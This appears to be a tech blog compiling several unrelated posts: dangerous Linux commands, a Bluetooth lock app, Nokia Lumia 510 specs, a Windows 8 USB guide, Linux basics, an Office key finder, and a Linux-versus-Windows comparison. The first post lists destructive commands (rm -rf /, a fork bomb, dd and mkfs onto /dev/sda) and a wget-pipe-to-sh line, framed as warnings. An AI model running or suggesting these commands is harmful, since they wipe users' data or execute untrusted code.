Dangerous command in linux.


Linux’s terminal commands are powerful, and  the best part is Linux won’t ask you for confirmation if you run a command that won’t break your system. It’s not uncommon to see trolls online recommending new Linux users run these commands as a joke.

deadly linuxWhat started as a joke could end up being a deadly trap door for them

Here are few of the examples .1. rm -rf / – Deletes Everything!

2. : ( ) {  :  |   : & } ; :-It practically duplicates itself usually known as fork bomb.

3. mkfs.ext4 /dev/sda1 – Formats a Hard Drive.

4. command > /dev/sda – Writes Directly to a Hard Drive.

5. dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive.

6. mv ~ /dev/null – Moves Your Home Directory to a Black Hole.

7. wget http://example.com/something -O – | sh – Downloads and Runs a Script.

Being said that some commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.

Bluetooth proximity lock


logoblePC ,when they have urgent things to look to and ya if there’s an issue of not so friendly type environment then it a really frustrating…(o ya looking at u snoopy neighbor ..taking every opportunity to have a glance at the  final work report  ) .How easy it would be if the PC would lock or shut it self down when the respective user is not in a given radius.

Voila!! there’s an app just to serve this purpose.
Its an app that works on the simple principle of Bluetooth proximity .Its usually known as Bluetooth proximity lock;the name says it all.

It’s a utility tool that pairs with any mobile device that you usually carry around and have a Bluetooth functionality in it .Just pair it with the PC(desktop ,laptop,tablet etc ) which;obviously should have a Bluetooth functionality.

Set the app as usual along with the normal applications.Make necessary changes in the install menu if required

That’s it you have all setup and ready to go .th
Well if the user belongs to the group of geeks who would like to play around with stuff ;well they can tweak this app to their to their hearts content .

As this app provides user to write shell scripts,run files …etc .
And above all its free….:D

Download :Bluetooth Proximity lock

 

Nokia Lumia 510


Nokia today unveiled its most affordable phone in the Lumia series which will be available in the country during the  first week of November 2012.

Although the company did not disclose the exact price, but said it will be at priced around INR 11,000 (150$) . “With the Nokia Lumia 510 we continue to meet our commitment to bring Windows phone to new, lower price points,” said Vipul Mehrotra Nokia India Director and Head (Smartphone Devices)  .

He described the  phone being designed with Indian consumer in mind and hence the company is launching it first in India.

The phone features a four-inch display and has 5 megapixel camera.

With this latest addition to the Lumia series, the company is looking to strengthen its position in the smartphone segment.

The Tech Spec of Nokia Lumia 510:

  • Device type :Smart phone
  • OS                 :Windows Phone 7.5 Mango
  • Dimensions:4.75 x 2.56 x 0.45 (120.7 x 64.9 x 11.5 mm)
  • Weight        :4.55 oz (129 g)

DISPLAY

  • Physical size:4 inches
  • Resolution:480 x 800 pixels
  • Pixel density:233 ppi
  • Technology:LCD
  • Colors:65 536
  • Touchscreen:Capacitive, Multi-touch
  • Features:Light sensor, Proximity sensor
Nokia-Lumia-510
Nokia-Lumia-510

BATTERY

  • Talk time:6.20 hours the average is 8 h (487 min)
  • Stand-by time:30.8 days (739 hours)the average is 19 days (467 h)
  • Talk time (3G):8.40 hoursthe average is 7 h (420 min)
  • Stand-by time (3G):27.2 days (653 hours)the average is 21 days (506 h)
  • Capacity:1300 mAh

HARDWARE

  • System chip:Qualcomm Snapdragon S1
  • Processor:Single core, 800 MHz
  • Graphics processor:Yes
  • System memory:256 MB RAM
  • Built-in storage:4 GB
lumia-510
lumia-510

CAMERA

  • Camera:5 mega pixels
    • Aperture size:F2.4
    • Features:Auto focus, Touch to focus, Exposure compensation, White balance presets, Geo tagging, Scenes
  • Camcorder:640×480 (VGA) (30 fps)
    • Features:Continuous autofocus in a video, Digital image stabilization

MULTIMEDIA

  • Music player:
    • Filter by:Album, Artist, Playlists
    • Features:Album art cover, Background playback
  • Radio:FM, Stereo, RDS
  • Speakers:
    • Earpiece, Loudspeaker

INTERNET BROWSING

  • Browser:Internet Explorer
  • Built-in online services support:Facebook, Twitter

TECHNOLOGY

  • GSM:850, 900, 1800, 1900 MHz
  • UMTS:850, 1900 MHz
  • Data:HSDPA 7.2 Mbit/s, UMTS, EDGE, GPRS
  • Positioning:GPS, A-GPS, Wi-Fi positioning
  • Navigation:Turn-by-turn navigation, Voice navigation, Points of interest (POI)

PHONE FEATURES

  • Phonebook:Unlimited entries, Caller groups, Multiple numbers per contact, Search by both first and last name, Picture ID, Ring ID
  • Organizer:Calendar, Alarm, To-Do, Document viewer, Calculator, Notes
  • Messaging:SMS, MMS, Threaded view, Predictive text input
  • E-mail:IMAP, POP3, SMTP, Microsoft Exchange

CONNECTIVITY

  • Bluetooth:2.1, EDR
  • Wi-Fi:802.11 b, g, n
  • USB:USB 2.0
    • Connector:microUSB
    • Features:USB charging
  • Other:Computer sync, OTA sync

OTHER FEATURES

  • Notifications:Haptic feedback, Music ringtones (MP3), Polyphonic ringtones, Vibration, Flight mode, Silent mode, Speakerphone
  • Additional microphone/s:for Noise cancellation
  • Sensors:AccelerometerVoice dialing, Voice commands, Voice recording

AVAILABILITY

  • Officially announced:23 Oct 2012
  • Scheduled release:November 2012 (Official)

SHOPPING INFORMATION

  • Accessories:Battery BP-3L, Nokia Charging and Data Cable CA-190CD, Product and Safety Information Booklet

Creating a Bootable Windows 8 USB Drive from an ISO Image.


 

It’s official that the windows 8 is up for grabs and it open for the all to have a preview of  the next historical thing to happen in the world of  windows computing environment.The typical quality of windows 8 that sets it apart from the rest of the OS is its user-friendly nature to its user .

The windows 8 OS sets it’s on Ecosystem in the world of computing ….taking the side of tablets, PC,  and maybe phones .

There”s little but no difference in the ….UI(user interface ) to all the environment in thew windows 8 platform.

So lets just dive into the  windows 8 .. right away .

After few hours of testing it was convinced that the build is stable enough, and I can take it to next level by installing it parallel to Windows 7 via dual-boot. If you too are looking forward to install Windows 8 on your computer, I would prefer you create a bootable USB drive instead of a bootable DVD.

Note: This is a consumer preview of Windows 8 and not the final stable version.

A USB drive is always faster than DVDs and the chances of failed or corrupt installation are very low as compared to optical media. So lets see how you can create the bootable USB of Windows 8 in the easiest way possible.

Necessary Prerequisites

  • Download the ISO file of Windows 8 on your system.
  • A minimum of 4 GB removable drive for 32-bit Windows and 8 GB for 64-bit Windows 8 operating system.
  • Backup all the data

Creating the Windows 8 Bootable USB Drive

Step 1: Download and extract WinUSB Maker on your computer. WinUSB maker is a portable application and thus does not require installation of any kind. You only need to run the .exe file.

Step 2: Run the WinUSB Maker tool with administrative privileges to start creating your bootable USB drive. (right-click on the file, and click Run as Administrator)

Step 3: In the tool, select the option ISO image bootable disk under the Functions  section. Select Normal Detection Mode and browse for the Windows 8 bootable ISO (Image file) you have already downloaded on your system.

USB maker

Step 4: Finally, select the USB drive and drive MBR system (if you have a single one plugged in, it will be selected by default, if you have more than one, click on the dropdown menu and make a selection from the list) and click on the button Make it Bootable .

That’s all, the tool will now format the USB drive and copy all the Windows installation files to it and make it bootable.

bootable creation

You can now plug-in the device into your system and select removable drive as your first boot selection preference in your BIOS and install Windows 8.

 

Basics.


Tux, the Linux penguin
Tux, the Linux penguin (Photo credit: Wikipedia)
tcsh and sh shell windows on a Mac OS X desktop..
tcsh and sh shell windows on a Mac OS X desktop.

Linux 

The various flavours of Linux are Ubuntu, Puppy Linux, fedora, etc. are the various flavours of Linux.

As to begin with what exactly is Linux, let’s keep it in a short and simple by saying Linux is a derivative of UNIX.

Which of course was an open source OS.

So what exactly is a Unix OS how does it work and what are its backgrounds as one may ask …no wonder there are many books written in a descriptive manner giving a deep insight about the topic.

Given as a matter of time and discussion no one really has enough time to go through this stuff and make really good use of it .Let alone the point of shortlisting the actual stuff from those that are written for the sake of reading.

Therefore we made the matter short and simple by giving few points to help you get up and running, and yes of course get your facts cleared about the subject.

Brief background on the Linux /Unix OS.

The Unix OS system can be broken down into three main parts

1. The scheduler.

2. The file system.

3.  The shell.

1. The scheduler

The UNIX scheduler is a program that helps in allowing more than one person to use the computer at the same time.

The scheduler helps in sharing every piece of the available resources to different users at a same period of time.For e.g. three users a, b, c are logged into the UNIX system at the same instance of time. The UNIX system will take the respective programs the users wants to run from the system disk, and allocates it to the computer’s memory. In this way the programs are converted to processes.

The scheduler does the work of keeping the processes running in accordance to the time it’s being used, and prioritize it accordingly for computational purposes.

2. The File system

In its simplest form, a file system is a collection of files on a stored device, usually a disk.The file system is further categorised into directories; they are considered as “folders” that keep the things in order …kinda tabbed.

This procedure keeps the things simple for the CPU to search and get the required files.

3. The Shell

The shell is considered as the command interpreter. It’s a program that sits between you and system, forming a shell around the computer, trying to perform various operations depending upon what you type in.

The Shell is user independent, as for every user there is a dedicated shell for it to operate

How to find office 2010 product key


 

English: Microsoft Office Specialist 2010
Microsoft Office Specialist 2010

 

Have you ever lost office 2010 product key ? And you spent hour and hour to find that office 2010 cd key for office reinstalling. This article shows you how to find office 2010 product key from installed office 2010 application.

 

Simple steps to find office 2010 product key:

 

1. Download  Product Key Finder software (Trial version) and install it to the windows where your office 2010 is installed in.

 

2. Launch Product Key finder software, and then click “Start Recovery” to find office 2010 product key. Many product keys will be listed. if the office 2010 has been installed, its product key will be displayed too.

 

3. Click “Save as” to save these product keys to a file.

 

10 fundamental differences between Linux and Windows…


 

Image representing Microsoft as depicted in Cr...

Tux, the Linux penguin
Tux, the Linux penguin (Photo credit: Wikipedia)

 

#1: Full access vs. no access

 

Having access to the source code is probably the single most significant difference between Linux and Windows. The fact that Linux belongs to the GNU Public License ensures that users (of all sorts) can access (and alter) the code to the very kernel that serves as the foundation of the Linux operating system. You want to peer at the Windows code? Good luck. Unless you are a member of a very select (and elite, to many) group, you will never lay eyes on code making up the Windows operating system.

 

You can look at this from both sides of the fence. Some say giving the public access to the code opens the operating system (and the software that runs on top of it) to malicious developers who will take advantage of any weakness they find. Others say that having full access to the code helps bring about faster improvements and bug fixes to keep those malicious developers from being able to bring the system down. I have, on occasion, dipped into the code of one Linux application or another, and when all was said and done, was happy with the results. Could I have done that with a closed-source Windows application? No.

 

#2: Licensing freedom vs. licensing restrictions

 

Along with access comes the difference between the licenses. I’m sure that every IT professional could go on and on about licensing of PC software. But let’s just look at the key aspect of the licenses (without getting into legalese). With a Linux GPL-licensed operating system, you are free to modify that software and use and even republish or sell it (so long as you make the code available). Also, with the GPL, you can download a single copy of a Linux distribution (or application) and install it on as many machines as you like. With the Microsoft license, you can do none of the above. You are bound to the number of licenses you purchase, so if you purchase 10 licenses, you can legally install that operating system (or application) on only 10 machines.

 

#3: Online peer support vs. paid help-desk support

 

This is one issue where most companies turn their backs on Linux. But it’s really not necessary. With Linux, you have the support of a huge community via forums, online search, and plenty of dedicated Web sites. And of course, if you feel the need, you can purchase support contracts from some of the bigger Linux companies (Red Hat and Novell for instance).

 

However, when you use the peer support inherent in Linux, you do fall prey to time. You could have an issue with something, send out e-mail to a mailing list or post on a forum, and within 10 minutes be flooded with suggestions. Or these suggestions could take hours of days to come in. It seems all up to chance sometimes. Still, generally speaking, most problems with Linux have been encountered and documented. So chances are good you’ll find your solution fairly quickly.

 

On the other side of the coin is support for Windows. Yes, you can go the same route with Microsoft and depend upon your peers for solutions. There are just as many help sites/lists/forums for Windows as there are for Linux. And you can purchase support from Microsoft itself. Most corporate higher-ups easily fall victim to the safety net that having a support contract brings. But most higher-ups haven’t had to depend up on said support contract. Of the various people I know who have used either a Linux paid support contract or a Microsoft paid support contract, I can’t say one was more pleased than the other. This of course begs the question “Why do so many say that Microsoft support is superior to Linux paid support?”

 

#4: Full vs. partial hardware support

 

One issue that is slowly becoming nonexistent is hardware support. Years ago, if you wanted to install Linux on a machine you had to make sure you hand-picked each piece of hardware or your installation would not work 100 percent. I can remember, back in 1997-ish, trying to figure out why I couldn’t get Caldera Linux or Red Hat Linux to see my modem. After much looking around, I found I was the proud owner of a Winmodem. So I had to go out and purchase an US Robotics external modem because that was the one modem I knew would work. This is not so much the case now. You can grab a PC (or laptop) and most likely get one or more Linux distributions to install and work nearly 100 percent. But there are still some exceptions. For instance, hibernate/suspend remains a problem with many laptops, although it has come a long way.

 

With Windows, you know that almost every piece of hardware will work with the operating system. Of course, there are times (and I have experienced this over and over) when you will wind up spending much of the day searching for the correct drivers for that piece of hardware you no longer have the install disk for. But you can go out and buy that 10-cent Ethernet card and know it’ll work on your machine (so long as you have, or can find, the drivers). You also can rest assured that when you purchase that insanely powerful graphics card, you will probably be able to take full advantage of its power.

 

#5: Command line vs. no command line

 

No matter how far the Linux operating system has come and how amazing the desktop environment becomes, the command line will always be an invaluable tool for administration purposes. Nothing will ever replace my favorite text-based editor, ssh, and any given command-line tool. I can’t imagine administering a Linux machine without the command line. But for the end user — not so much. You could use a Linux machine for years and never touch the command line. Same with Windows. You can still use the command line with Windows, but not nearly to the extent as with Linux. And Microsoft tends to obfuscate the command prompt from users. Without going to Run and entering cmd (or command, or whichever it is these days), the user won’t even know the command-line tool exists. And if a user does get the Windows command line up and running, how useful is it really?

 

#6: Centralized vs. decentralized application installation

 

The heading for this point might have thrown you for a loop. But let’s think about this for a second. With Linux you have (with nearly every distribution) a centralized location where you can search for, add, or remove software. I’m talking about package management systems, such as Synaptic. With Synaptic, you can open up one tool, search for an application (or group of applications), and install that application without having to do any Web searching (or purchasing).

 

Windows has nothing like this. With Windows, you must know where to find the software you want to install, download the software (or put the CD into your machine), and run setup.exe or install.exe with a simple double-click. For many years, it was thought that installing applications on Windows was far easier than on Linux. And for many years, that thought was right on target. Not so much now. Installation under Linux is simple, painless, and centralized.

 

#7: Flexibility vs. rigidity

 

I always compare Linux (especially the desktop) and Windows to a room where the floor and ceiling are either movable or not. With Linux, you have a room where the floor and ceiling can be raised or lowered, at will, as high or low as you want to make them. With Windows, that floor and ceiling are immovable. You can’t go further than Microsoft has deemed it necessary to go.

 

Take, for instance, the desktop. Unless you are willing to pay for and install a third-party application that can alter the desktop appearance, with Windows you are stuck with what Microsoft has declared is the ideal desktop for you. With Linux, you can pretty much make your desktop look and feel exactly how you want/need. You can have as much or as little on your desktop as you want. From simple flat Fluxbox to a full-blown 3D Capiz experience, the Linux desktop is as flexible an environment as there is on a computer.

 

#8: Fanboys vs. corporate types

 

I wanted to add this because even though Linux has reached well beyond its school-project roots, Linux users tend to be soapbox-dwelling fanatics who are quick to spout off about why you should be choosing Linux over Windows. I am guilty of this on a daily basis (I try hard to recruit new fanboys/girls), and it’s a badge I wear proudly. Of course, this is seen as less than professional by some. After all, why would something worthy of a corporate environment have or need cheerleaders? Shouldn’t the software sell itself? Because of the open source nature of Linux, it has to make do without the help of the marketing budgets and deep pockets of Microsoft. With that comes the need for fans to help spread the word. And word of mouth is the best friend of Linux.

 

Some see the fanaticism as the same college-level hoorah that keeps Linux in the basements for LUG meetings and science projects. But I beg to differ. Another company, thanks to the phenomenon of a simple music player and phone, has fallen into the same fan-boy fanaticism, and yet that company’s image has not been besmirched because of that fanaticism. Windows does not have these same fans. Instead, Windows has a league of paper-certified administrators who believe the hype when they hear the misrepresented market share numbers reassuring them they will be employable until the end of time.

 

#9: Automated vs. nonautomated removable media

 

I remember the days of old when you had to mount your floppy to use it and unmount it to remove it. Well, those times are drawing to a close — but not completely. One issue that plagues new Linux users is how removable media is used. The idea of having to manually “mount” a CD drive to access the contents of a CD is completely foreign to new users. There is a reason this is the way it is. Because Linux has always been a multiuser platform, it was thought that forcing a user to mount a media to use it would keep the user’s files from being overwritten by another user. Think about it: On a multiuser system, if everyone had instant access to a disk that had been inserted, what would stop them from deleting or overwriting a file you had just added to the media? Things have now evolved to the point where Linux subsystems are set up so that you can use a removable device in the same way you use them in Windows. But it’s not the norm. And besides, who doesn’t want to manually edit the /etc/fstab fle?

 

#10: Multilayered run levels vs. a single-layered run level

 

I couldn’t figure out how best to title this point, so I went with a description. What I’m talking about is Linux’ inherent ability to stop at different run levels. With this, you can work from either the command line (run level 3) or the GUI (run level 5). This can really save your socks when X Windows is fubared and you need to figure out the problem. You can do this by booting into run level 3, logging in as root, and finding/fixing the problem.

 

With Windows, you’re lucky to get to a command line via safe mode — and then you may or may not have the tools you need to fix the problem. In Linux, even in run level 3, you can still get and install a tool to help you out (hello apt-get install APPLICATION via the command line). Having different run levels is helpful in another way. Say the machine in question is a Web or mail server. You want to give it all the memory you have, so you don’t want the machine to boot into run level 5. However, there are times when you do want the GUI for administrative purposes (even though you can fully administer a Linux server from the command line). Because you can run the startxcommand from the command line at run level 3, you can still start-up X Windows and have your GUI as well. With Windows, you are stuck at the Graphical run level unless you hit a serious problem.

 

Your call…